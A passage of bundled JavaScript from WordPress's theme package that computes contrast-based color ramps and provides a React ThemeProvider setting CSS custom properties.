3523 return mainDir;
3524 }
3525 if (followDirection === "opposite") {
3526 return oppDir;
3527 }
3528 if (followDirection === "best") {
3529 return computeBetterFgColorDirection(
3530 color,
3531 contrast.preferLighter
3532 ).better;
3533 }
3534 return followDirection;
3535 };
3536 const {
3537 contrast,
3538 lightness: stepLightnessConstraint,
3539 taperChromaOptions,
3540 sameAsIfPossible
3541 } = config[stepName];
3542 const referenceColor = calculatedColors.get(contrast.reference);
3543 if (!referenceColor) {
3544 throw new Error(
3545 `Reference color for step ${stepName} not found: ${contrast.reference}`
3546 );
3547 }
3548 if (sameAsIfPossible) {
3549 const candidateColor = calculatedColors.get(sameAsIfPossible);
3550 if (!candidateColor) {
3551 throw new Error(
3552 `Same-as color for step ${stepName} not found: ${sameAsIfPossible}`
3553 );
3554 }
3555 const candidateContrast = getContrast(
3556 referenceColor,
3557 candidateColor
3558 );
3559 const adjustedTarget2 = adjustContrastTarget(contrast.target);
3560 if (candidateContrast >= adjustedTarget2) {
3561 calculatedColors.set(stepName, candidateColor);
3562 rampResults[stepName] = getColorString(candidateColor);
3563 continue;
3564 }
3565 }
3566 const computedDir = computeDirection(
3567 referenceColor,
3568 contrast.followDirection
3569 );
3570 const adjustedTarget = adjustContrastTarget(contrast.target);
3571 let lightnessConstraint;
3572 if (pinLightness?.stepName === stepName) {
3573 lightnessConstraint = {
3574 value: pinLightness.value,
3575 type: "force"
3576 };
3577 } else if (stepLightnessConstraint) {
3578 lightnessConstraint = {
3579 value: stepLightnessConstraint(computedDir),
3580 type: "onlyIfSucceeds"
3581 };
3582 }
3583 const searchResults = findColorMeetingRequirements(
3584 referenceColor,
3585 seed,
3586 adjustedTarget,
3587 computedDir,
3588 {
3589 lightnessConstraint,
3590 taperChromaOptions
3591 }
3592 );
3593 if (!contrast.ignoreWhenAdjustingSeed && searchResults.deficit && searchResults.deficit > maxDeficit) {
3594 maxDeficit = searchResults.deficit;
3595 maxDeficitDirection = computedDir;
3596 maxDeficitStep = stepName;
3597 }
3598 calculatedColors.set(stepName, searchResults.color);
3599 rampResults[stepName] = getColorString(searchResults.color);
3600 if (!searchResults.reached && !contrast.ignoreWhenAdjustingSeed) {
3601 warnings ??= [];
3602 warnings.push(stepName);
3603 }
3604 }
3605 return {
3606 rampResults,
3607 warnings,
3608 maxDeficit,
3609 maxDeficitDirection,
3610 maxDeficitStep
3611 };
3612 }
3613 function buildRamp(seedArg, config, {
3614 mainDirection,
3615 pinLightness,
3616 rescaleToFitContrastTargets = true
3617 } = {}) {
3618 let seed;
3619 try {
3620 seed = clampToGamut(seedArg);
3621 } catch (error) {
3622 throw new Error(
3623 `Invalid seed color "${seedArg}": ${error instanceof Error ? error.message : "Unknown error"}`
3624 );
3625 }
3626 let mainDir = "lighter";
3627 let oppDir = "darker";
3628 if (mainDirection) {
3629 mainDir = mainDirection;
3630 oppDir = mainDirection === "darker" ? "lighter" : "darker";
3631 } else {
3632 const { better, worse } = computeBetterFgColorDirection(seed);
3633 mainDir = better;
3634 oppDir = worse;
3635 }
3636 const sortedSteps = sortByDependency(config);
3637 const {
3638 rampResults,
3639 warnings,
3640 maxDeficit,
3641 maxDeficitDirection,
3642 maxDeficitStep
3643 } = calculateRamp({
3644 seed,
3645 sortedSteps,
3646 config,
3647 mainDir,
3648 oppDir,
3649 pinLightness
3650 });
3651 let bestRamp = rampResults;
3652 if (maxDeficit > CONTRAST_EPSILON && rescaleToFitContrastTargets) {
3653 let getSeedForL = function(l) {
3654 return clampToGamut(set(clone(seed), [oklch_default, "l"], l));
3655 }, getDeficitForSeed = function(s) {
3656 const iterationResults = calculateRamp({
3657 seed: s,
3658 sortedSteps: iterSteps,
3659 config,
3660 mainDir,
3661 oppDir,
3662 pinLightness
3663 });
3664 return iterationResults.maxDeficitDirection === maxDeficitDirection ? iterationResults.maxDeficit : -maxDeficit;
3665 };
3666 const iterSteps = stepsForStep(maxDeficitStep, config);
3667 const lowerSeedL = maxDeficitDirection === "lighter" ? 0 : 1;
3668 const lowerDeficit = -maxDeficit;
3669 const upperSeedL = get(seed, [oklch_default, "l"]);
3670 const upperDeficit = maxDeficit;
3671 const bestSeed = solveWithBisect(
3672 getSeedForL,
3673 getDeficitForSeed,
3674 lowerSeedL,
3675 lowerDeficit,
3676 upperSeedL,
3677 upperDeficit
3678 );
3679 bestRamp = calculateRamp({
3680 seed: bestSeed,
3681 sortedSteps,
3682 config,
3683 mainDir,
3684 oppDir,
3685 pinLightness
3686 }).rampResults;
3687 }
3688 if (mainDir === "darker") {
3689 const tmpSurface1 = bestRamp.surface1;
3690 bestRamp.surface1 = bestRamp.surface3;
3691 bestRamp.surface3 = tmpSurface1;
3692 }
3693 return {
3694 ramp: bestRamp,
3695 warnings,
3696 direction: mainDir
3697 };
3698 }
3699
3700 // packages/theme/build-module/color-ramps/lib/ramp-configs.mjs
3701 var lightnessConstraintForegroundHighContrast = (direction) => direction === "lighter" ? 0.9551 : 0.235;
3702 var lightnessConstraintForegroundMediumContrast = (direction) => direction === "lighter" ? 0.77 : 0.56;
3703 var lightnessConstraintBgFill = (direction) => direction === "lighter" ? 0.67 : 0.45;
3704 var BG_SURFACE_TAPER_CHROMA = {
3705 alpha: 0.7
3706 };
3707 var FG_TAPER_CHROMA = {
3708 alpha: 0.6,
3709 kLight: 0.2,
3710 kDark: 0.2
3711 };
3712 var STROKE_TAPER_CHROMA = {
3713 alpha: 0.6,
3714 radiusDark: 0.01,
3715 radiusLight: 0.01,
3716 kLight: 0.8,
3717 kDark: 0.8
3718 };
3719 var ACCENT_SURFACE_TAPER_CHROMA = {
3720 alpha: 0.75,
3721 radiusDark: 0.01,
3722 radiusLight: 0.01
3723 };
3724 var fgSurface4Config = {
3725 contrast: {
3726 reference: "surface3",
3727 followDirection: "main",
3728 target: 7,
3729 preferLighter: true
3730 },
3731 lightness: lightnessConstraintForegroundHighContrast,
3732 taperChromaOptions: FG_TAPER_CHROMA
3733 };
3734 var BG_RAMP_CONFIG = {
3735 // Surface
3736 surface1: {
3737 contrast: {
3738 reference: "surface2",
3739 followDirection: "opposite",
3740 target: 1.06,
3741 ignoreWhenAdjustingSeed: true
3742 },
3743 taperChromaOptions: BG_SURFACE_TAPER_CHROMA
3744 },
3745 surface2: {
3746 contrast: {
3747 reference: "seed",
3748 followDirection: "main",
3749 target: 1
3750 }
3751 },
3752 surface3: {
3753 contrast: {
3754 reference: "surface2",
3755 followDirection: "main",
3756 target: 1.06
3757 },
3758 taperChromaOptions: BG_SURFACE_TAPER_CHROMA
3759 },
3760 surface4: {
3761 contrast: {
3762 reference: "surface2",
3763 followDirection: "main",
3764 target: 1.12
3765 },
3766 taperChromaOptions: BG_SURFACE_TAPER_CHROMA
3767 },
3768 surface5: {
3769 contrast: {
3770 reference: "surface2",
3771 followDirection: "main",
3772 target: 1.2
3773 },
3774 taperChromaOptions: BG_SURFACE_TAPER_CHROMA
3775 },
3776 surface6: {
3777 contrast: {
3778 reference: "surface2",
3779 followDirection: "main",
3780 target: 1.4
3781 },
3782 taperChromaOptions: BG_SURFACE_TAPER_CHROMA
3783 },
3784 // Bg fill
3785 bgFill1: {
3786 contrast: {
3787 reference: "surface2",
3788 followDirection: "main",
3789 target: 4
3790 },
3791 lightness: lightnessConstraintBgFill
3792 },
3793 bgFill2: {
3794 contrast: {
3795 reference: "bgFill1",
3796 followDirection: "main",
3797 target: 1.2
3798 }
3799 },
3800 bgFillInverted1: {
3801 contrast: {
3802 reference: "bgFillInverted2",
3803 followDirection: "opposite",
3804 target: 1.2
3805 }
3806 },
3807 bgFillInverted2: fgSurface4Config,
3808 bgFillDark: {
3809 contrast: {
3810 reference: "surface3",
3811 followDirection: "darker",
3812 // This is what causes the token to be always dark
3813 target: 7,
3814 ignoreWhenAdjustingSeed: true
3815 },
3816 lightness: lightnessConstraintForegroundHighContrast,
3817 taperChromaOptions: FG_TAPER_CHROMA
3818 },
3819 // Stroke
3820 stroke1: {
3821 contrast: {
3822 reference: "stroke3",
3823 followDirection: "opposite",
3824 target: 2.6
3825 },
3826 taperChromaOptions: STROKE_TAPER_CHROMA
3827 },
3828 stroke2: {
3829 contrast: {
3830 reference: "stroke3",
3831 followDirection: "opposite",
3832 target: 2.4
3833 },
3834 taperChromaOptions: STROKE_TAPER_CHROMA
3835 },
3836 stroke3: {
3837 contrast: {
3838 reference: "surface3",
3839 followDirection: "main",
3840 target: 3
3841 },
3842 taperChromaOptions: STROKE_TAPER_CHROMA
3843 },
3844 stroke4: {
3845 contrast: {
3846 reference: "stroke3",
3847 followDirection: "main",
3848 target: 1.5
3849 },
3850 taperChromaOptions: STROKE_TAPER_CHROMA
3851 },
3852 // fgSurface
3853 fgSurface1: {
3854 contrast: {
3855 reference: "surface3",
3856 followDirection: "main",
3857 target: 2,
3858 preferLighter: true
3859 },
3860 taperChromaOptions: FG_TAPER_CHROMA
3861 },
3862 fgSurface2: {
3863 contrast: {
3864 reference: "surface3",
3865 followDirection: "main",
3866 target: 3,
3867 preferLighter: true
3868 },
3869 taperChromaOptions: FG_TAPER_CHROMA
3870 },
3871 fgSurface3: {
3872 contrast: {
3873 reference: "surface3",
3874 followDirection: "main",
3875 target: 4.5,
3876 preferLighter: true
3877 },
3878 lightness: lightnessConstraintForegroundMediumContrast,
3879 taperChromaOptions: FG_TAPER_CHROMA
3880 },
3881 fgSurface4: fgSurface4Config,
3882 // fgFill
3883 fgFill: {
3884 contrast: {
3885 reference: "bgFill1",
3886 followDirection: "best",
3887 target: 4.5,
3888 preferLighter: true
3889 },
3890 lightness: lightnessConstraintForegroundHighContrast,
3891 taperChromaOptions: FG_TAPER_CHROMA
3892 },
3893 fgFillInverted: {
3894 contrast: {
3895 reference: "bgFillInverted1",
3896 followDirection: "best",
3897 target: 4.5,
3898 preferLighter: true
3899 },
3900 lightness: lightnessConstraintForegroundHighContrast,
3901 taperChromaOptions: FG_TAPER_CHROMA
3902 },
3903 fgFillDark: {
3904 contrast: {
3905 reference: "bgFillDark",
3906 followDirection: "best",
3907 target: 4.5,
3908 preferLighter: true
3909 },
3910 lightness: lightnessConstraintForegroundHighContrast,
3911 taperChromaOptions: FG_TAPER_CHROMA
3912 }
3913 };
3914 var ACCENT_RAMP_CONFIG = {
3915 ...BG_RAMP_CONFIG,
3916 surface1: {
3917 ...BG_RAMP_CONFIG.surface1,
3918 taperChromaOptions: ACCENT_SURFACE_TAPER_CHROMA
3919 },
3920 surface2: {
3921 contrast: {
3922 reference: "bgFill1",
3923 followDirection: "opposite",
3924 target: BG_RAMP_CONFIG.bgFill1.contrast.target,
3925 ignoreWhenAdjustingSeed: true
3926 },
3927 taperChromaOptions: ACCENT_SURFACE_TAPER_CHROMA
3928 },
3929 surface3: {
3930 ...BG_RAMP_CONFIG.surface3,
3931 taperChromaOptions: ACCENT_SURFACE_TAPER_CHROMA
3932 },
3933 surface4: {
3934 ...BG_RAMP_CONFIG.surface4,
3935 taperChromaOptions: ACCENT_SURFACE_TAPER_CHROMA
3936 },
3937 surface5: {
3938 ...BG_RAMP_CONFIG.surface5,
3939 taperChromaOptions: ACCENT_SURFACE_TAPER_CHROMA
3940 },
3941 surface6: {
3942 ...BG_RAMP_CONFIG.surface6,
3943 taperChromaOptions: ACCENT_SURFACE_TAPER_CHROMA
3944 },
3945 bgFill1: {
3946 contrast: {
3947 reference: "seed",
3948 followDirection: "main",
3949 target: 1
3950 }
3951 },
3952 stroke1: {
3953 ...BG_RAMP_CONFIG.stroke1
3954 },
3955 stroke2: {
3956 ...BG_RAMP_CONFIG.stroke2
3957 },
3958 stroke3: {
3959 ...BG_RAMP_CONFIG.stroke3,
3960 sameAsIfPossible: "fgSurface3",
3961 taperChromaOptions: void 0
3962 },
3963 stroke4: {
3964 ...BG_RAMP_CONFIG.stroke4,
3965 taperChromaOptions: void 0
3966 },
3967 // fgSurface: do not de-saturate
3968 fgSurface1: {
3969 ...BG_RAMP_CONFIG.fgSurface1,
3970 taperChromaOptions: void 0
3971 },
3972 fgSurface2: {
3973 ...BG_RAMP_CONFIG.fgSurface2,
3974 taperChromaOptions: void 0
3975 },
3976 fgSurface3: {
3977 ...BG_RAMP_CONFIG.fgSurface3,
3978 taperChromaOptions: void 0,
3979 sameAsIfPossible: "bgFill1"
3980 },
3981 fgSurface4: {
3982 ...BG_RAMP_CONFIG.fgSurface4,
3983 taperChromaOptions: void 0
3984 }
3985 };
3986
3987 // packages/theme/build-module/color-ramps/index.mjs
3988 function buildBgRamp(seed) {
3989 if (typeof seed !== "string" || seed.trim() === "") {
3990 throw new Error("Seed color must be a non-empty string");
3991 }
3992 return buildRamp(seed, BG_RAMP_CONFIG);
3993 }
3994 var STEP_TO_PIN = "surface2";
3995 function getBgRampInfo(ramp) {
3996 return {
3997 mainDirection: ramp.direction,
3998 pinLightness: {
3999 stepName: STEP_TO_PIN,
4000 value: clampAccentScaleReferenceLightness(
4001 get(ramp.ramp[STEP_TO_PIN], [oklch_default, "l"]),
4002 ramp.direction
4003 )
4004 }
4005 };
4006 }
4007 function buildAccentRamp(seed, bgRamp) {
4008 if (typeof seed !== "string" || seed.trim() === "") {
4009 throw new Error("Seed color must be a non-empty string");
4010 }
4011 const bgRampInfo = bgRamp ? getBgRampInfo(bgRamp) : void 0;
4012 return buildRamp(seed, ACCENT_RAMP_CONFIG, bgRampInfo);
4013 }
4014
4015 // packages/theme/build-module/use-theme-provider-styles.mjs
4016 var getCachedBgRamp = memize(buildBgRamp, { maxSize: 10 });
4017 var getCachedAccentRamp = memize(buildAccentRamp, { maxSize: 10 });
4018 var legacyWpComponentsOverridesCSS = [
4019 ["--wp-components-color-accent", "var(--wp-admin-theme-color)"],
4020 [
4021 "--wp-components-color-accent-darker-10",
4022 "var(--wp-admin-theme-color-darker-10)"
4023 ],
4024 [
4025 "--wp-components-color-accent-darker-20",
4026 "var(--wp-admin-theme-color-darker-20)"
4027 ],
4028 [
4029 "--wp-components-color-accent-inverted",
4030 "var(--wpds-color-fg-interactive-brand-strong, #fff)"
4031 ],
4032 [
4033 "--wp-components-color-background",
4034 "var(--wpds-color-bg-surface-neutral-strong, #ffffff)"
4035 ],
4036 [
4037 "--wp-components-color-foreground",
4038 "var(--wpds-color-fg-content-neutral, #1e1e1e)"
4039 ],
4040 [
4041 "--wp-components-color-foreground-inverted",
4042 "var(--wpds-color-bg-surface-neutral, #f8f8f8)"
4043 ],
4044 [
4045 "--wp-components-color-gray-100",
4046 "var(--wpds-color-bg-surface-neutral, #f8f8f8)"
4047 ],
4048 [
4049 "--wp-components-color-gray-200",
4050 "var(--wpds-color-stroke-surface-neutral, #d8d8d8)"
4051 ],
4052 [
4053 "--wp-components-color-gray-300",
4054 "var(--wpds-color-stroke-surface-neutral, #d8d8d8)"
4055 ],
4056 [
4057 "--wp-components-color-gray-400",
4058 "var(--wpds-color-stroke-interactive-neutral, #8a8a8a)"
4059 ],
4060 [
4061 "--wp-components-color-gray-600",
4062 "var(--wpds-color-stroke-interactive-neutral, #8a8a8a)"
4063 ],
4064 [
4065 "--wp-components-color-gray-700",
4066 "var(--wpds-color-fg-content-neutral-weak, #6d6d6d)"
4067 ],
4068 [
4069 "--wp-components-color-gray-800",
4070 "var(--wpds-color-fg-content-neutral, #1e1e1e)"
4071 ]
4072 ];
4073 function customRgbFormat(color) {
4074 const rgb = to(color, srgb_default);
4075 return rgb.coords.map((n2) => Math.round((n2 ?? 0) * 255)).join(", ");
4076 }
4077 function legacyWpAdminThemeOverridesCSS(accent) {
4078 const parsedAccent = to(accent, hsl_default);
4079 const parsedL = parsedAccent.coords[2] ?? 0;
4080 const darker10 = set(
4081 clone(parsedAccent),
4082 [hsl_default, "l"],
4083 Math.max(0, parsedL - 5)
4084 // L reduced by 5%
4085 );
4086 const darker20 = set(
4087 clone(parsedAccent),
4088 [hsl_default, "l"],
4089 Math.max(0, parsedL - 10)
4090 // L reduced by 10%
4091 );
4092 return [
4093 ["--wp-admin-theme-color", getColorString(parsedAccent)],
4094 ["--wp-admin-theme-color--rgb", customRgbFormat(parsedAccent)],
4095 ["--wp-admin-theme-color-darker-10", getColorString(darker10)],
4096 [
4097 "--wp-admin-theme-color-darker-10--rgb",
4098 customRgbFormat(darker10)
4099 ],
4100 ["--wp-admin-theme-color-darker-20", getColorString(darker20)],
4101 [
4102 "--wp-admin-theme-color-darker-20--rgb",
4103 customRgbFormat(darker20)
4104 ]
4105 ];
4106 }
4107 function colorTokensCSS(computedColorRamps) {
4108 const entries = [];
4109 for (const [rampName, { ramp }] of computedColorRamps) {
4110 for (const [tokenName, tokenValue] of Object.entries(ramp)) {
4111 const key = `${rampName}-${tokenName}`;
4112 const aliasedBy = color_tokens_default[key] ?? [];
4113 for (const aliasedId of aliasedBy) {
4114 entries.push([`--wpds-color-${aliasedId}`, tokenValue]);
4115 }
4116 }
4117 }
4118 return entries;
4119 }
4120 function generateStyles({
4121 primary,
4122 computedColorRamps
4123 }) {
4124 return Object.fromEntries(
4125 [
4126 // Semantic color tokens
4127 colorTokensCSS(computedColorRamps),
4128 // Legacy overrides
4129 legacyWpAdminThemeOverridesCSS(primary),
4130 legacyWpComponentsOverridesCSS
4131 ].flat()
4132 );
4133 }
4134 function useThemeProviderStyles({
4135 color = {}
4136 } = {}) {
4137 const { resolvedSettings: inheritedSettings } = (0, import_element2.useContext)(ThemeContext);
4138 const primary = color.primary ?? inheritedSettings.color?.primary ?? DEFAULT_SEED_COLORS.primary;
4139 const bg = color.bg ?? inheritedSettings.color?.bg ?? DEFAULT_SEED_COLORS.bg;
4140 const resolvedSettings = (0, import_element2.useMemo)(
4141 () => ({
4142 color: {
4143 primary,
4144 bg
4145 }
4146 }),
4147 [primary, bg]
4148 );
4149 const themeProviderStyles = (0, import_element2.useMemo)(() => {
4150 const seeds = {
4151 ...DEFAULT_SEED_COLORS,
4152 bg,
4153 primary
4154 };
4155 const computedColorRamps = /* @__PURE__ */ new Map();
4156 const bgRamp = getCachedBgRamp(seeds.bg);
4157 Object.entries(seeds).forEach(([rampName, seed]) => {
4158 if (rampName === "bg") {
4159 computedColorRamps.set(rampName, bgRamp);
4160 } else {
4161 computedColorRamps.set(
4162 rampName,
4163 getCachedAccentRamp(seed, bgRamp)
4164 );
4165 }
4166 });
4167 return generateStyles({
4168 primary: seeds.primary,
4169 computedColorRamps
4170 });
4171 }, [primary, bg]);
4172 return {
4173 resolvedSettings,
4174 themeProviderStyles
4175 };
4176 }
4177
4178 // packages/theme/build-module/theme-provider.mjs
4179 var import_jsx_runtime = __toESM(require_jsx_runtime(), 1);
4180 if (typeof document !== "undefined" && !document.head.querySelector("style[data-wp-hash='662a5161a8']")) {
4181 const style = document.createElement("style");
4182 style.setAttribute("data-wp-hash", "662a5161a8");
4183 style.appendChild(document.createTextNode(".dba930ea7a9438fd__root{display:contents}"));
4184 document.head.appendChild(style);
4185 }
4186 var style_default = { "root": "dba930ea7a9438fd__root" };
4187 function cssObjectToText(values) {
4188 return Object.entries(values).map(([key, value]) => `${key}: ${value};`).join("");
4189 }
4190 function generateCSSSelector({
4191 instanceId,
4192 isRoot
4193 }) {
4194 const rootSel = `[data-wpds-root-provider="true"]`;
4195 const instanceIdSel = `[data-wpds-theme-provider-id="${instanceId}"]`;
4196 const selectors = [];
4197 if (isRoot) {
4198 selectors.push(
4199 `:root:has(.${style_default.root}${rootSel}${instanceIdSel})`
4200 );
4201 }
4202 selectors.push(`.${style_default.root}.${style_default.root}${instanceIdSel}`);
4203 return selectors.join(",");
4204 }
4205 var ThemeProvider = ({
4206 children,
4207 color = {},
4208 isRoot = false,
4209 density
4210 }) => {
4211 const instanceId = (0, import_element3.useId)();
4212 const { themeProviderStyles, resolvedSettings } = useThemeProviderStyles({
4213 color
4214 });
4215 const contextValue = (0, import_element3.useMemo)(
4216 () => ({
4217 resolvedSettings
4218 }),
4219 [resolvedSettings]
4220 );
4221 return /* @__PURE__ */ (0, import_jsx_runtime.jsxs)(import_jsx_runtime.Fragment, { children: [
4222 themeProviderStyles ? /* @__PURE__ */ (0, import_jsx_runtime.jsx)("style", { children: `${generateCSSSelector({
4223 instanceId,
4224 isRoot
4225 })} {${cssObjectToText(themeProviderStyles)}}` }) : null,
4226 /* @__PURE__ */ (0, import_jsx_runtime.jsx)(
4227 "div",
4228 {
4229 "data-wpds-theme-provider-id": instanceId,
4230 "data-wpds-root-provider": isRoot,
4231 "data-wpds-density": density,
4232 className: style_default.root,
4233 children: /* @__PURE__ */ (0, import_jsx_runtime.jsx)(ThemeContext.Provider, { value: contextValue, children })
4234 }
4235 )
4236 ] });
4237 };
4238
4239 // packages/theme/build-module/private-apis.mjs
4240 var privateApis = {};
4241 lock(privateApis, {
4242 ThemeProvider,
4243 useThemeProviderStyles
4244 });
4245 return __toCommonJS(index_exports);
4246})();
4247